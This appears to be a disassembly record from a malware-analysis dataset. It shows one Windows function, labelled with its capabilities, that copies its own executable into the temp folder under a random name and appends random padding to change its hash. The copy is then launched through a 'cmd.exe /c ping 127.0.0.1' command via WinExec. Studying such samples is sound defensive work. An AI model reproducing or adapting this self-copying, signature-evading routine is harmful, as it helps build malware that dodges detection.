Function at 0x40187b
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x734
push ebx
push esi
mov esi, 0x100000
push edi
push esi
call sub.MFC42.DLL_operatornew
xor ebx, ebx
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 0x14], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004017c6
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
cmp byte [edi], 0x4d
je 0x4018e9
lea eax, [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
push edi
call fcn.004017c6
add esp, 0xc
push 0x64
call esi
cmp byte [edi], 0x4d
jne 0x4018c9
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], bl
mov byte [ebp - 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x28]
push 5
push eax
call fcn.00401763
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0x1ff
push 0x40
mov dword [ebp - 0xc], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x230]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x12c]
push str._s_s.exe
push eax
call dword [0x4065b0]
add esp, 0x10
lea eax, [ebp - 0x12c]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
call sub.MFC42.DLL_operatornew
pop ecx
mov dword [ebp - 0x10], eax
push 0x64
call esi
lea eax, [ebp - 0x18]
push ebx
push eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
push dword [ebp - 0x14]
push dword [ebp - 8]
call edi
push 0x64
call esi
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call sub.MFC42.DLL_operatordelete
push dword [ebp - 0x14]
call sub.MFC42.DLL_operatordelete
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x733]
mov byte [ebp - 0x734], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x333]
mov byte [ebp - 0x334], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax]
lea eax, [ebp - 0x334]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x734]
push str.cmd.exe__c_ping_127.0.0.1__n_2_s___s_
push eax
call dword [0x4065b0]
add esp, 0x20
lea eax, [ebp - 0x734]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]